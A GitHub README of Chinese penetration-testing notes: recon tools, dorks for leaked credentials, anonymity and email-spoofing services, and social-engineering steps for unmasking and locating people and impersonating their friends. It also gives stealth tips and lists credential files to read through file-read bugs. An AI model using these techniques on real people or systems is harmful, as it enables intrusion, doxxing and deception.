An open API service indexing awesome lists of open source software.

https://github.com/safe6Sec/PentestNote

一些渗透姿势记录
https://github.com/safe6Sec/PentestNote

Last synced: about 1 year ago
JSON representation

一些渗透姿势记录

Awesome Lists containing this project

README

          

# PentestNote
一份笔记,方便查阅

推 荐 使 用 **typora** 进行阅读

第一份笔记,弄的太乱,已经不想再继续更新了。
后面更多的是把知识点细化到单个仓库。感兴趣的朋友,可以看我的其他仓库。
2021.11.3

**Table of Contents**

- [PentestNote](#pentestnote)
- [请善用搜索[`Ctrl+F`]查找](#%E8%AF%B7%E5%96%84%E7%94%A8%E6%90%9C%E7%B4%A2ctrlf%E6%9F%A5%E6%89%BE)
- [前期信息收集](#%E5%89%8D%E6%9C%9F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
- [工具推荐](#%E5%B7%A5%E5%85%B7%E6%8E%A8%E8%8D%90)
- [子域名](#%E5%AD%90%E5%9F%9F%E5%90%8D)
- [自动化信息收集](#%E8%87%AA%E5%8A%A8%E5%8C%96%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
- [目录扫描](#%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F)
- [扫描器](#%E6%89%AB%E6%8F%8F%E5%99%A8)
- [在线工具](#%E5%9C%A8%E7%BA%BF%E5%B7%A5%E5%85%B7)
- [指纹](#%E6%8C%87%E7%BA%B9)
- [网络空间搜索引擎](#%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E)
- [综合扫描](#%E7%BB%BC%E5%90%88%E6%89%AB%E6%8F%8F)
- [子域/旁站](#%E5%AD%90%E5%9F%9F%E6%97%81%E7%AB%99)
- [dns历史记录](#dns%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95)
- [匿名](#%E5%8C%BF%E5%90%8D)
- [裤子](#%E8%A3%A4%E5%AD%90)
- [webshell查杀](#webshell%E6%9F%A5%E6%9D%80)
- [恶意软件分析](#%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E5%88%86%E6%9E%90)
- [渗透测试](#%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95)
- [资产](#%E8%B5%84%E4%BA%A7)
- [实用](#%E5%AE%9E%E7%94%A8)
- [历史漏洞](#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E)
- [目标站点源码获取技巧](#%E7%9B%AE%E6%A0%87%E7%AB%99%E7%82%B9%E6%BA%90%E7%A0%81%E8%8E%B7%E5%8F%96%E6%8A%80%E5%B7%A7)
- [google语法](#google%E8%AF%AD%E6%B3%95)
- [Github搜索](#github%E6%90%9C%E7%B4%A2)
- [关于社工](#%E5%85%B3%E4%BA%8E%E7%A4%BE%E5%B7%A5)
- [一点小技巧](#%E4%B8%80%E7%82%B9%E5%B0%8F%E6%8A%80%E5%B7%A7)
- [一些信息收集的命令](#%E4%B8%80%E4%BA%9B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E7%9A%84%E5%91%BD%E4%BB%A4)
- [互联网c段存活检测](#%E4%BA%92%E8%81%94%E7%BD%91c%E6%AE%B5%E5%AD%98%E6%B4%BB%E6%A3%80%E6%B5%8B)
- [apk敏感信息收集](#apk%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
- [mac下反编译apk](#mac%E4%B8%8B%E5%8F%8D%E7%BC%96%E8%AF%91apk)
- [spring相关程序必扫字典](#spring%E7%9B%B8%E5%85%B3%E7%A8%8B%E5%BA%8F%E5%BF%85%E6%89%AB%E5%AD%97%E5%85%B8)
- [漏洞攻击](#%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB)
- [文件读取漏洞](#%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E)
- [文件包含漏洞](#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E)
- [sql注入漏洞](#sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E)
- [文件上传漏洞](#%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E)
- [命令执行](#%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C)
- [结果外带](#%E7%BB%93%E6%9E%9C%E5%A4%96%E5%B8%A6)
- [未授权漏洞](#%E6%9C%AA%E6%8E%88%E6%9D%83%E6%BC%8F%E6%B4%9E)
- [redis](#redis)
- [**常用命令**](#%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4)
- [**利用**](#%E5%88%A9%E7%94%A8)
- [写ssh-keygen登录](#%E5%86%99ssh-keygen%E7%99%BB%E5%BD%95)
- [写计划任务反弹shell](#%E5%86%99%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%8F%8D%E5%BC%B9shell)
- [写webshell](#%E5%86%99webshell)
- [利用主从复制获取shell](#%E5%88%A9%E7%94%A8%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6%E8%8E%B7%E5%8F%96shell)
- [其他姿势](#%E5%85%B6%E4%BB%96%E5%A7%BF%E5%8A%BF)
- [敏感信息泄漏利用](#%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E5%88%A9%E7%94%A8)
- [阿里云Access Key利用](#%E9%98%BF%E9%87%8C%E4%BA%91access-key%E5%88%A9%E7%94%A8)
- [alicloud利用工具](#alicloud%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7)
- [中间件安全](#%E4%B8%AD%E9%97%B4%E4%BB%B6%E5%AE%89%E5%85%A8)
- [tomcat安全](#tomcat%E5%AE%89%E5%85%A8)
- [数据库安全](#%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%89%E5%85%A8)
- [mysql渗透总结](#mysql%E6%B8%97%E9%80%8F%E6%80%BB%E7%BB%93)
- [一、sqlshell获取](#%E4%B8%80sqlshell%E8%8E%B7%E5%8F%96)
- [二、mysql拿shell](#%E4%BA%8Cmysql%E6%8B%BFshell)
- [1、用命令直接导出shell](#1%E7%94%A8%E5%91%BD%E4%BB%A4%E7%9B%B4%E6%8E%A5%E5%AF%BC%E5%87%BAshell)
- [2、利用general_log拿shell](#2%E5%88%A9%E7%94%A8general_log%E6%8B%BFshell)
- [三、任意文件读取](#%E4%B8%89%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96)
- [四、mysql提权](#%E5%9B%9Bmysql%E6%8F%90%E6%9D%83)
- [五、拓展](#%E4%BA%94%E6%8B%93%E5%B1%95)
- [六、参考](#%E5%85%AD%E5%8F%82%E8%80%83)
- [mssql渗透总结](#mssql%E6%B8%97%E9%80%8F%E6%80%BB%E7%BB%93)
- [getshell](#getshell)
- [寻找绝对路径](#%E5%AF%BB%E6%89%BE%E7%BB%9D%E5%AF%B9%E8%B7%AF%E5%BE%84)
- [xp_cmdshell拿shell](#xp_cmdshell%E6%8B%BFshell)
- [差异备份拿shell](#%E5%B7%AE%E5%BC%82%E5%A4%87%E4%BB%BD%E6%8B%BFshell)
- [log备份拿shell](#log%E5%A4%87%E4%BB%BD%E6%8B%BFshell)
- [getsystem](#getsystem)
- [xp_cmdshell](#xp_cmdshell)
- [sp_oacreate](#sp_oacreate)
- [沙盒提权](#%E6%B2%99%E7%9B%92%E6%8F%90%E6%9D%83)
- [xp_regwrite](#xp_regwrite)
- [**工具使用**](#%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8)
- [sqlmap](#sqlmap)
- [**sqlmap详细命令参数**](#sqlmap%E8%AF%A6%E7%BB%86%E5%91%BD%E4%BB%A4%E5%8F%82%E6%95%B0)
- [sqlmap使用](#sqlmap%E4%BD%BF%E7%94%A8)
- [Tamper使用](#tamper%E4%BD%BF%E7%94%A8)
- [Aircrack-ng破解WIFI密码](#aircrack-ng%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81)
- [爆破攻击](#%E7%88%86%E7%A0%B4%E6%94%BB%E5%87%BB)
- [Hydra](#hydra)
- [Medusa](#medusa)
- [getshell方法](#getshell%E6%96%B9%E6%B3%95)
- [利用JavaScript转写php](#%E5%88%A9%E7%94%A8javascript%E8%BD%AC%E5%86%99php)
- [命令执行写shell](#%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%86%99shell)
- [二次法](#%E4%BA%8C%E6%AC%A1%E6%B3%95)
- [鱼叉攻击](#%E9%B1%BC%E5%8F%89%E6%94%BB%E5%87%BB)
- [权限维持](#%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81)
- [提权检测脚本](#%E6%8F%90%E6%9D%83%E6%A3%80%E6%B5%8B%E8%84%9A%E6%9C%AC)
- [利用msf提权](#%E5%88%A9%E7%94%A8msf%E6%8F%90%E6%9D%83)
- [安卓锁屏破解](#%E5%AE%89%E5%8D%93%E9%94%81%E5%B1%8F%E7%A0%B4%E8%A7%A3)
- [交互shell获取](#%E4%BA%A4%E4%BA%92shell%E8%8E%B7%E5%8F%96)
- [无交互账号添加](#%E6%97%A0%E4%BA%A4%E4%BA%92%E8%B4%A6%E5%8F%B7%E6%B7%BB%E5%8A%A0)
- [Cobalt Strike笔记](#cobalt-strike%E7%AC%94%E8%AE%B0)
- [argue参数污染](#argue%E5%8F%82%E6%95%B0%E6%B1%A1%E6%9F%93)
- [bypass disable_function](#bypass-disable_function)
- [隧道工具](#%E9%9A%A7%E9%81%93%E5%B7%A5%E5%85%B7)
- [痕迹清理](#%E7%97%95%E8%BF%B9%E6%B8%85%E7%90%86)
- [windows清理](#windows%E6%B8%85%E7%90%86)
- [日志清除](#%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4)
- [永久擦除技巧](#%E6%B0%B8%E4%B9%85%E6%93%A6%E9%99%A4%E6%8A%80%E5%B7%A7)
- [清除远程桌面连接记录](#%E6%B8%85%E9%99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%E8%AE%B0%E5%BD%95)
- [利用Metasploit 痕迹清除](#%E5%88%A9%E7%94%A8metasploit-%E7%97%95%E8%BF%B9%E6%B8%85%E9%99%A4)
- [linux清理](#linux%E6%B8%85%E7%90%86)
- [日志清除](#%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-1)
- [永久擦除技巧](#%E6%B0%B8%E4%B9%85%E6%93%A6%E9%99%A4%E6%8A%80%E5%B7%A7-1)
- [清除history记录](#%E6%B8%85%E9%99%A4history%E8%AE%B0%E5%BD%95)
- [隐藏远程SSH登陆记录](#%E9%9A%90%E8%97%8F%E8%BF%9C%E7%A8%8Bssh%E7%99%BB%E9%99%86%E8%AE%B0%E5%BD%95)
- [横向移动](#%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8)
- [内网常用命令](#%E5%86%85%E7%BD%91%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4)
- [密码搜集](#%E5%AF%86%E7%A0%81%E6%90%9C%E9%9B%86)
- [文件查找](#%E6%96%87%E4%BB%B6%E6%9F%A5%E6%89%BE)
- [连通性](#%E8%BF%9E%E9%80%9A%E6%80%A7)
- [域信息收集](#%E5%9F%9F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
- [常用信息收集](#%E5%B8%B8%E7%94%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
- [环境信息搜集](#%E7%8E%AF%E5%A2%83%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86)
- [内网渗透合集](#%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E5%90%88%E9%9B%86)
- [payload生成](#payload%E7%94%9F%E6%88%90)
- [payload下载&白名单bypass](#payload%E4%B8%8B%E8%BD%BD%E7%99%BD%E5%90%8D%E5%8D%95bypass)
- [python文件服务器](#python%E6%96%87%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8)
- [ftp](#ftp)
- [ODBCCONF利用dll](#odbcconf%E5%88%A9%E7%94%A8dll)
- [cmstp利用dll](#cmstp%E5%88%A9%E7%94%A8dll)
- [Rundll](#rundll)
- [Regsvr32](#regsvr32)
- [vbs](#vbs)
- [powershell](#powershell)
- [certutil](#certutil)
- [csc](#csc)
- [Desktopimgdownldr](#desktopimgdownldr)
- [CertReq](#certreq)
- [Unix-GTFOBins](#unix-gtfobins)
- [**whois**](#whois)
- [PIP](#pip)
- [Msiexec](#msiexec)
- [MSBuild](#msbuild)
- [Wmic](#wmic)
- [hta](#hta)
- [bitsadmin](#bitsadmin)
- [Installutil](#installutil)
- [Installutil&csc配合使用](#installutilcsc%E9%85%8D%E5%90%88%E4%BD%BF%E7%94%A8)
- [regasm和regsvcs](#regasm%E5%92%8Cregsvcs)
- [uuid](#uuid)
- [免杀](#%E5%85%8D%E6%9D%80)
- [payload分离免杀](#payload%E5%88%86%E7%A6%BB%E5%85%8D%E6%9D%80)
- [免杀loader(20210220)](#%E5%85%8D%E6%9D%80loader20210220)
- [shellcode loader](#shellcode-loader)
- [反弹shell](#%E5%8F%8D%E5%BC%B9shell)
- [监听](#%E7%9B%91%E5%90%AC)
- [bash](#bash)
- [perl](#perl)
- [python](#python)
- [php](#php)
- [ruby](#ruby)
- [nc](#nc)
- [java](#java)
- [lua](#lua)
- [powershell](#powershell-1)
- [OpenSsl加密隧道反弹](#openssl%E5%8A%A0%E5%AF%86%E9%9A%A7%E9%81%93%E5%8F%8D%E5%BC%B9)
- [linux命令笔记](#linux%E5%91%BD%E4%BB%A4%E7%AC%94%E8%AE%B0)
- [基础常用命令](#%E5%9F%BA%E7%A1%80%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4)
- [用户、权限-相关命令](#%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90-%E7%9B%B8%E5%85%B3%E5%91%BD%E4%BB%A4)
- [磁盘管理](#%E7%A3%81%E7%9B%98%E7%AE%A1%E7%90%86)
- [wget 下载文件](#wget-%E4%B8%8B%E8%BD%BD%E6%96%87%E4%BB%B6)
- [其他常用命令](#%E5%85%B6%E4%BB%96%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4)
- [AWK命令](#awk%E5%91%BD%E4%BB%A4)
- [shell编程](#shell%E7%BC%96%E7%A8%8B)
- [docker命令笔记](#docker%E5%91%BD%E4%BB%A4%E7%AC%94%E8%AE%B0)
- [ubuntu踩坑记录](#ubuntu%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95)
- [git 笔记](#git-%E7%AC%94%E8%AE%B0)
- [当前项目(仓库)记住密码](#%E5%BD%93%E5%89%8D%E9%A1%B9%E7%9B%AE%E4%BB%93%E5%BA%93%E8%AE%B0%E4%BD%8F%E5%AF%86%E7%A0%81)
- [编程语言学习笔记](#%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0)
- [常用正则](#%E5%B8%B8%E7%94%A8%E6%AD%A3%E5%88%99)
- [php](#php-1)
- [读书笔记](#%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0)
- [漏洞笔记](

## 请善用搜索[`Ctrl+F`]查找

不定时更新,权当是记笔记了.

很多东西会先在公众号进行更新,有需要的先关注。

# 前期信息收集

## 工具推荐

### 子域名

- OneForAll https://github.com/shmilylty/OneForAll
- ksubdomain:https://github.com/knownsec/ksubdomain
- subDomainsBrute https://github.com/lijiejie/subDomainsBrute

### 自动化信息收集

- ARL https://github.com/TophantTechnology/ARL
-

### 目录扫描

win下面用御剑和7kbscan就够了,关键得看字典吧.我公众号之前有推荐过

- Safe6目录扫描 https://github.com/safe6Sec/dirScan
- dirsearch:https://github.com/maurosoria/dirsearch
- 7kbscan:https://github.com/7kbstorm/7kbscan-WebPathBrute

### 扫描器

- nessus扫主机
- awvs 扫web
- burp 不用说
- nmap 扫端口
- rustscan 超快的端口扫描,扫完自动调用nmap识别指纹(速度太快了有时候有些端口出不来) https://github.com/RustScan/RustScan
- xray 结合burp用来被动扫描 https://github.com/chaitin/xray

### 在线工具

#### 指纹

- https://www.godeye.vip/

- http://whatweb.bugscaner.com/look

- http://finger.tidesec.net/
- https://phonebook.cz/ 目标资产,如邮箱

#### 网络空间搜索引擎

- https://quake.360.cn/
- https://fofa.so/
- https://www.zoomeye.org/
- https://www.shodan.io/

#### 综合扫描

- https://scan.top15.cn/web/
- https://pentest-tools.com/information-gathering/google-hacking#

#### 子域/旁站

- https://phpinfo.me/old/domain
- https://webscan.cc/
- https://dnsdumpster.com/
- https://www.yougetsignal.com/tools/web-sites-on-web-server/
- https://www.robtex.com/
- https://www.dnsscan.cn/

#### dns历史记录

可用来找真实ip

- http://www.siteinfotool.com/
- http://toolbar.netcraft.com/site_report
- https://dnsdumpster.com/
- https://viewdns.info/iphistory/
- https://asm.ca.com/

#### 匿名

- Sms
https://www.materialtools.com/
http://receivefreesms.com/
- Email
https://10minutemail.net/
https://zh.mytrashmailer.com/
http://24mail.chacuo.net/enus
https://www.linshiyouxiang.net/
- Fake id
https://www.fakenamegenerator.com/
http://www.haoweichi.com/
https://www.fakeaddressgenerator.com/
- ip代理池
- 临时文件 https://bashupload.com/
- https://ppng.io/ 临时文件
- tor网络
- https://emkei.cz/ 邮件伪造
- 免费域名 https://www.freenom.com/zh/index.html?lang=zh
- dns http://xip.io/
- 云短信https://www.materialtools.com/

#### 裤子

- http://site3.sjk.space/
- https://ghostproject.fr/
-

#### webshell查杀

- D盾http://www.d99net.net/
- 河马https://www.webshell.pub/
- webdir++https://scanner.baidu.com/

#### 恶意软件分析

- https://www.virustotal.com/
- http://www.virscan.org/
- https://www.virscan.org/
- https://s.threatbook.cn/ 云沙箱
- https://habo.qq.com/
- https://ti.qianxin.com/
- https://sandbox.ti.qianxin.com/sandbox/page qax沙箱
- http://appscan.360.cn/ app扫描
- https://service.security.tencent.com/kingkong app
- https://www.appscan.io/ app
- https://www.ostorlab.co/ app 国外的
- https://app.any.run/ 最强沙箱

#### 渗透测试

- https://www.revshells.com/ 反弹shell
- https://i.hacking8.com/tiquan/ Windows提权辅助补丁查询
- https://pentest-tools.com/information-gathering/google-hacking# 谷歌hacking多种

#### 资产

- https://opendata.rapid7.com/

#### 实用

- 解析bash命令 https://explainshell.com/
- 终端录制 https://asciinema.org/
- 正则搜索 https://ihateregex.io/

## 历史漏洞

- https://cxsecurity.com/
- http://vulhub.org.cn/ (常用)
- http://cve.scap.org.cn/
- http://www.cnnvd.org.cn/
- https://vulmon.com/ (常用)
- https://sploitus.com (常用)
- https://vulners.com
- https://www.exploit-db.com/ (常用)
- https://www.seebug.org/
- https://packetstormsecurity.com/
- https://snyk.io/vuln (常用)
- https://www.cvedetails.com/
- https://www.cvebase.com/ (常用,cve分析和poc)
- 乌云镜像
- https://baizesec.github.io/bylibrary/ 白泽文库
- https://github.com/Mr-xn/Penetration_Testing_POC poc&exp各种工具

## 目标站点源码获取技巧

参考文章:https://www.anquanke.com/post/id/224420 如何利⽤Quake挖掘某授权⼚商边缘站点漏洞

如果站点删除对应特征的title关键词,可以根据favicon来搜索使用同套相似框架的站点。

当然假如quake没有给出这个站点的icon值,你也可以根据 `curl http://xxxx.com/favicon.ico|md5sum`的方式,得到站点ico的md5,然后利用quake语法,`favicon:"{MD5}"`搜索。

运气较好,在quake的第一页就发现了和厂商使用同样cms,并且明示用了什么框架的站点

**如何利用360quake搜索相似站点,并获得源码**

这里一般我们搜索相似源码的站点有以下几种方式:

- 1、`根据favicon搜索`
- 2、`根据首页页面里的一些特征,利用body:"{特征}"来搜索`
- 3、`根据response里的header头特征来搜索,一般是在cookie里有设置特定的cookie。比如shiro的rememberMe=xxx,或者apache的ofbiz。`
- 4、`根据cert里Issuer、Subject特征搜索,一些单位、甚至部门信息会包含在ssl证书内容之中。`

搜索到相似站点后,有几种方式搞到源码:

- 1、`对相似站点进行入侵,getshell后获得源码(动静较大)`
- 2、`对相似站点批量扫备份文件`
- 3、`得知cms的名称去凌风云网盘搜索该cms源码是否有人分享`
- 4、`闲鱼搜有没有对应源码有人在买卖`
- 5、`去github,gitee搜有没有相似的源码,是否是根据别人的源码二次开发的成品`

## google语法

1. 后台地址

- site:xxx.xxx 管理后台/登陆/管理员/系统
- site:xxx.xxx inurl:login/admin/system/guanli/denglu
- site:xxx.xxx intext:"登陆"

1. 敏感文件

- site:xxx.xxx filetype:pdf/doc/xls/txt
- site:xxx.xxx filetype:log/sql/conf

1. 测试环境

- site:xxx.xxx inurl:test/ceshi
- site:xxx.xxx intitle:测试

1. 邮箱/QQ/群

- site:xxx.xxx 邮件/email
- site:xxx.xxx qq/群/企鹅/腾讯

1. 其他

- site:xxx.xxx inurl:api
- site:xxx.xxx inurl:uid=/id=
- site:xxx.xxx intitle:index of

## Github搜索

- @xxx.xxx password/secret/credentials/token/config/pass/login/ftp/ssh/pwd
- @xxx.xxx security_credentials/connetionstring/JDBC/ssh2_auth_password/send_keys
- "domain.com" API_KEY
- "domain.com" login
- "domain.com" password

## 关于社工

1. 查询whois得到电话,邮箱,备案号.备案号查注册人

2. 电话通过支付宝转帐获取真实姓名,利用qq反查微信,qq推测

3. 电话号码添加到通讯录,让第三方app通过通讯录匹配出信息(抖音,支付宝,qq,微信......)

4. 社工库,tg群查泄漏密码

5. 手机号查注册过的网站

```
https://www.reg007.com/
https://www.usersearch.org/
```

6. 得到管理员设置密码习惯,命名习惯.进行爆破,跑备份

7. 利用个人信息生成社工字典

8. 冒充目标好友

9. 近源渗透,wifi,badusb

10. 鱼叉攻击

1. https://mp.weixin.qq.com/s/SzKX0XrAjgo7SL2GYjtSAg 干货 | 邮件钓鱼攻击学习
2. https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ%3D%3D&mid=2651202725&idx=1&sn=955fd4c6d80b320a57a3bc7b34fa24f8&scene=45#wechat_redirect红蓝对抗之邮件钓鱼攻击
3. https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ 红队测试之邮箱打点
4. https://mp.weixin.qq.com/s/gFkFcl2M_SI7UYmosUnTOg 邮件钓鱼平台搭建以及基础使用场景
5. https://mp.weixin.qq.com/s/_3PpI4hKYZRPuYQs2nh67w 钓鱼攻击中文件的几种姿势

11. 水坑攻击

12. 可通过微博进行定位,qq抓ip定位,图片exif定位

13. 各种匿名

14. 密码生成

- 撞库
- 常见手机号
- 常见登录账号(admin、manager、test、deme)
- 数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
- 拼音(zhangsan、zhang.san、zhangs)
- 中文(张三、李四、张san)
- 英文名(Tom、Jeo、Cherry)
- 单位名(zssx123、zssx@123)
- 地名(beijing123、beijing@123)
- 组合(地名+单位名)
- 域名(baidu@123、JD@123)
- 生日组合

## 一点小技巧

1. 无头绪的时候,可以去fofa找相同类型的站点拿下,然后进行代码审计.
2. 主站一般没机会,尽量的去收集目标资产(渗透本质是信息收集),没有拿不下的站点,只要信息收集到位.如果还不行就社工.
3. 遇到难啃的骨头,可以对报403的目录进行扫描,也许会有不错的收获
1. bypass参考https://mp.weixin.qq.com/s/_hcVp9u7OIHnYW1l7lQiCQ
4. 多做漏洞复现,遇到了对应的漏洞就不用去慢慢研究
5. 在进行有可能导致管理员察觉的敏感操作时(如登录远程桌面等),根据目标所在地区,选择对应IP登录。(大多数会提示异地登录提醒,导致权限丢失)
6. 红队电脑不能保存任何个人信息,在某些工作系统语言不要使用中文,防止被反制。
7. 拿到机器及时做权限维持,msf的记得自动迁移进程
8. 尽量和管理员岔开时间段,不要撞到
9. 如果可以,一天一靶机,htb就不错
10. 打某一个行业想要有成果,最好要深入了解这个行业,我举个例子,比如搞传奇/dnf这种私服的,他们讲管理员都叫gm,不像搞IT的叫admin,那你爆一些私服游戏的网页后台、管理账号就需要搞一些行业黑话生成一下,比如/gm/或者/chongzhi/gm.php,用IT行业的字典,水土不服🤣,还有菠菜行业,注册用户需要6位邀请码,很多都是888888、666666这种吉利数字,逆向一下思路,猜一猜目标受众喜欢什么。|r0fus0d
11. 域名资产收集whois反查+兄弟域名+其他后缀域名+备案反查+rapid7公共数据集+js爬取+Github等第三方爬取+subfinder+OneForAll+ksubdomain过滤

## 一些信息收集的命令

#### 互联网c段存活检测

```bash
nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." >ok_ip.txt
```

#### apk敏感信息收集

提取相关域名链接/IP

```
grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
```

提取一些敏感信息

```
apktool d app_name.apk
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/
```

提取url

```
grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt
```

## mac下反编译apk

手动敲命令太繁琐了,写个 shell 脚本一键化。

在.bash_profile 文件(环境变量)加入这个命令 alias

apkdec="/Users/chen/HackBox/Tools/Android\ Decompile/DeApkScript.sh",

这样当终端打开的时候就可以使用 apkdec 命令了,而脚本 DeApkScript.sh 的内

容如下:

apktool d $1 && mv $1 $1.zip && unzip $1.zip "*.dex" -d $1_dex/ && cd

$1_dex/ && d2j-dex2jar *.dex

功能实现如下:

• apktool 获取资源文件

• 将 apk 文件重命名为 zip 文件

• 解压 zip 文件中的.dex 文件

• 切换解压目录

• 将 dex 文件转换成 jar 文件

这样,最后只需要使用 JD-GUI 反编译 JAR 即可看见源码了。

## spring相关程序必扫字典

```
/v2/api-docs
/swagger-ui.html
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream

```

# 漏洞攻击

## 文件读取漏洞

1、一般我拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/sadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作

2、读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件

3、读取程序配置文件(如数据库连接文件,可以利用数据库写shell)

4、读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码)
5、读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录)
6、读取程序源代码,方便后面做代码审计,找突破口
7、读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息)
8、还有就是可以用字典先跑一波(字典之前有分享过),信息收集还是要全面点。

windows常见的敏感文件路径:

```
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
```

Linux常见的敏感文件路径:

```
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
```

## 文件包含漏洞

**一、利用思路总结:**

**1、包含一些敏感的配置文件,获取目标敏感信息**

**2、配合图片马getshell**

**3、包含临时文件getshell**

**4、包含session文件getshell**

**5、包含日志文件getshell(Apach、SSH等等)**

**6、利用php伪协议进行攻击**

**二、具体利用方法:**

**①包含一些敏感的配置文件**

windows常见的敏感文件路径:
```
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
```

Linux常见的敏感文件路径:
```
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
